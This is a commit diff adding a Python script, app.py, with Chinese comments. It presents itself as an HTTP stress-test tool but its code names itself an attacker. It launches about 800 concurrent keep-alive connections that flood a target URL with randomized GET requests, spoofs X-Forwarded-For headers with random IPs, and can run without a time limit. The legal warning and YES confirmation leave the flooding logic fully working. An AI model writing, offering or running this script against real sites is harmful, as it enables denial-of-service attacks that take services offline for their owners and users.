Create app.py

app.py

@@ -0,0 +1,282 @@
+import socket
+import threading
+import time
+import random
+import ssl
+import sys
+from urllib.parse import urlparse
+
+# ====== 配置区 ======
+# !!! 必须修改为你要测试的完整URL !!!
+# 示例: "http://example.com/api/test" 或 "https://example.com:8080/path"
+TARGET_URL = "http://your-own-test-site.com/some/path"
+# ===================
+
+# 解析目标URL
+def parse_target_url(url):
+    """解析URL，返回协议、域名、端口、路径"""
+    parsed = urlparse(url)
+    
+    # 获取协议
+    scheme = parsed.scheme if parsed.scheme else 'http'
+    
+    # 获取域名
+    domain = parsed.hostname
+    if not domain:
+        print(f"❌ 无法解析URL中的域名: {url}")
+        sys.exit(1)
+    
+    # 获取端口
+    if parsed.port:
+        port = parsed.port
+    elif scheme == 'https':
+        port = 443
+    else:
+        port = 80
+    
+    # 获取路径
+    path = parsed.path if parsed.path else '/'
+    if parsed.query:
+        path += f"?{parsed.query}"
+    
+    use_https = (scheme == 'https')
+    
+    print(f"✅ URL解析结果:")
+    print(f"   协议: {scheme} {'(HTTPS)' if use_https else '(HTTP)'}")
+    print(f"   域名: {domain}")
+    print(f"   端口: {port}")
+    print(f"   路径: {path}")
+    
+    return domain, port, path, use_https
+
+# 攻击参数
+WORKER_THREADS = 100            # 并发工作线程数
+CONNECTIONS_PER_WORKER = 8      # 每个工作线程保持的连接数
+REQUEST_INTERVAL = 0.05         # 请求间隔(秒)
+RUN_DURATION = 30               # 运行时长(秒)，0为无限
+
+# 统计数据
+stats = {
+    'total_requests': 0,
+    'successful': 0,
+    'failed': 0,
+    'active_connections': 0
+}
+stats_lock = threading.Lock()
+
+def update_stats(success=True):
+    with stats_lock:
+        stats['total_requests'] += 1
+        if success:
+            stats['successful'] += 1
+        else:
+            stats['failed'] += 1
+
+def print_stats():
+    with stats_lock:
+        elapsed = time.time() - stats.get('start_time', time.time())
+        rps = stats['total_requests'] / elapsed if elapsed > 0 else 0
+        success_rate = (stats['successful'] / stats['total_requests'] * 100) if stats['total_requests'] > 0 else 0
+        
+        print(f"\r📊 请求: {stats['total_requests']} | 成功: {stats['successful']} | "
+              f"失败: {stats['failed']} | 成功率: {success_rate:.1f}% | "
+              f"RPS: {rps:.1f} | 活跃连接: {stats['active_connections']}", end='')
+
+class HTTPAttacker:
+    def __init__(self, target_domain, target_port, base_path, use_https):
+        self.domain = target_domain
+        self.port = target_port
+        self.base_path = base_path
+        self.use_https = use_https
+        self.ip = None
+        
+        # 解析域名获取IP
+        try:
+            self.ip = socket.gethostbyname(self.domain)
+            print(f"✅ 域名解析: {self.domain} -> {self.ip}")
+        except:
+            print(f"❌ 无法解析域名: {self.domain}")
+            sys.exit(1)
+    
+    def create_connection(self):
+        """创建TCP/SSL连接"""
+        try:
+            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+            sock.settimeout(5)
+            sock.connect((self.ip, self.port))
+            
+            if self.use_https:
+                context = ssl.create_default_context()
+                sock = context.wrap_socket(sock, server_hostname=self.domain)
+            
+            with stats_lock:
+                stats['active_connections'] += 1
+            return sock
+        except Exception as e:
+            return None
+    
+    def create_http_request(self, connection_id):
+        """创建HTTP请求"""
+        # 随机化请求路径
+        paths = [self.base_path]
+        if random.random() > 0.5:
+            # 添加随机查询参数
+            paths.append(f"{self.base_path}?id={random.randint(1,1000)}")
+        if random.random() > 0.7:
+            # 添加随机后缀
+            paths.append(f"{self.base_path}/extra/{random.randint(1,100)}")
+        
+        path = random.choice(paths)
+        
+        # 请求头列表
+        headers = [
+            f"GET {path} HTTP/1.1",
+            f"Host: {self.domain}",
+            f"User-Agent: Mozilla/5.0 (Connection-{connection_id})",
+            f"X-Forwarded-For: {random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}",
+            "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
+            "Accept-Language: zh-CN,zh;q=0.9,en;q=0.8",
+            "Accept-Encoding: gzip, deflate",
+            "Connection: keep-alive",
+            "Cache-Control: max-age=0",
+            "\r\n"
+        ]
+        
+        return "\r\n".join(headers).encode('utf-8')
+    
+    def attack_worker(self, worker_id):
+        """攻击工作线程"""
+        connections = []
+        
+        # 初始化连接池
+        for i in range(CONNECTIONS_PER_WORKER):
+            sock = self.create_connection()
+            if sock:
+                connections.append(sock)
+            time.sleep(0.1)
+        
+        end_time = time.time() + RUN_DURATION if RUN_DURATION > 0 else float('inf')
+        
+        # 攻击循环
+        while time.time() < end_time and connections:
+            for sock in connections[:]:
+                try:
+                    request = self.create_http_request(worker_id)
+                    sock.send(request)
+                    update_stats(True)
+                    
+                    # 部分接收响应
+                    if random.random() > 0.3:
+                        sock.settimeout(1)
+                        try:
+                            sock.recv(1024)
+                        except:
+                            pass
+                    
+                    # 随机延迟
+                    time.sleep(random.uniform(REQUEST_INTERVAL/2, REQUEST_INTERVAL*2))
+                    
+                except Exception as e:
+                    # 连接失败，移除并尝试重建
+                    connections.remove(sock)
+                    with stats_lock:
+                        stats['active_connections'] -= 1
+                    update_stats(False)
+                    
+                    # 重建连接
+                    new_sock = self.create_connection()
+                    if new_sock:
+                        connections.append(new_sock)
+            
+            # 维持连接池大小
+            while len(connections) < CONNECTIONS_PER_WORKER:
+                new_sock = self.create_connection()
+                if new_sock:
+                    connections.append(new_sock)
+                time.sleep(0.2)
+        
+        # 清理连接
+        for sock in connections:
+            try:
+                sock.close()
+                with stats_lock:
+                    stats['active_connections'] -= 1
+            except:
+                pass
+
+def main():
+    """主函数"""
+    print("=" * 70)
+    print("🌐 HTTP压力测试工具 - URL版")
+    print("=" * 70)
+    
+    # 法律警告
+    print("\n⚠️  ⚠️  ⚠️  重要法律警告:")
+    print("1. 仅限自有或获得书面授权的测试环境使用")
+    print("2. 对第三方网站攻击违反《网络安全法》第27条")
+    print("3. 违法攻击将面临最高7年有期徒刑")
+    print("=" * 70)
+    
+    # 解析URL
+    target_domain, target_port, base_path, use_https = parse_target_url(TARGET_URL)
+    
+    if target_domain == "your-own-test-site.com":
+        print("\n❌ 请将 TARGET_URL 修改为你要测试的实际URL")
+        sys.exit(1)
+    
+    # 确认
+    confirm = input(f"\n目标URL: {TARGET_URL}\n确认开始压力测试？(输入'YES'继续): ")
+    if confirm != "YES":
+        print("操作取消")
+        sys.exit(0)
+    
+    print(f"\n🚀 启动攻击:")
+    print(f"   工作线程: {WORKER_THREADS}")
+    print(f"   每线程连接数: {CONNECTIONS_PER_WORKER}")
+    print(f"   总并发连接: ~{WORKER_THREADS * CONNECTIONS_PER_WORKER}")
+    print(f"   运行时长: {'无限' if RUN_DURATION == 0 else f'{RUN_DURATION}秒'}")
+    print("=" * 70)
+    
+    stats['start_time'] = time.time()
+    
+    # 创建攻击器实例
+    attacker = HTTPAttacker(target_domain, target_port, base_path, use_https)
+    
+    # 启动统计线程
+    def stats_printer():
+        while True:
+            print_stats()
+            time.sleep(1)
+    
+    stats_thread = threading.Thread(target=stats_printer, daemon=True)
+    stats_thread.start()
+    
+    # 启动工作线程
+    threads = []
+    for i in range(WORKER_THREADS):
+        t = threading.Thread(target=attacker.attack_worker, args=(i,), daemon=True)
+        t.start()
+        threads.append(t)
+        time.sleep(0.05)  # 控制线程启动速度
+    
+    print(f"\n✅ 已启动 {len(threads)} 个工作线程")
+    print("⏸️  按 Ctrl+C 停止测试\n")
+    
+    try:
+        # 等待结束
+        if RUN_DURATION > 0:
+            time.sleep(RUN_DURATION)
+        else:
+            while True:
+                time.sleep(1)
+    except KeyboardInterrupt:
+        print("\n\n🛑 正在停止测试...")
+    finally:
+        # 等待线程结束
+        time.sleep(2)
+        print_stats()
+        print("\n\n📈 测试结束")
+        print("=" * 70)
+
+if __name__ == "__main__":
+    main()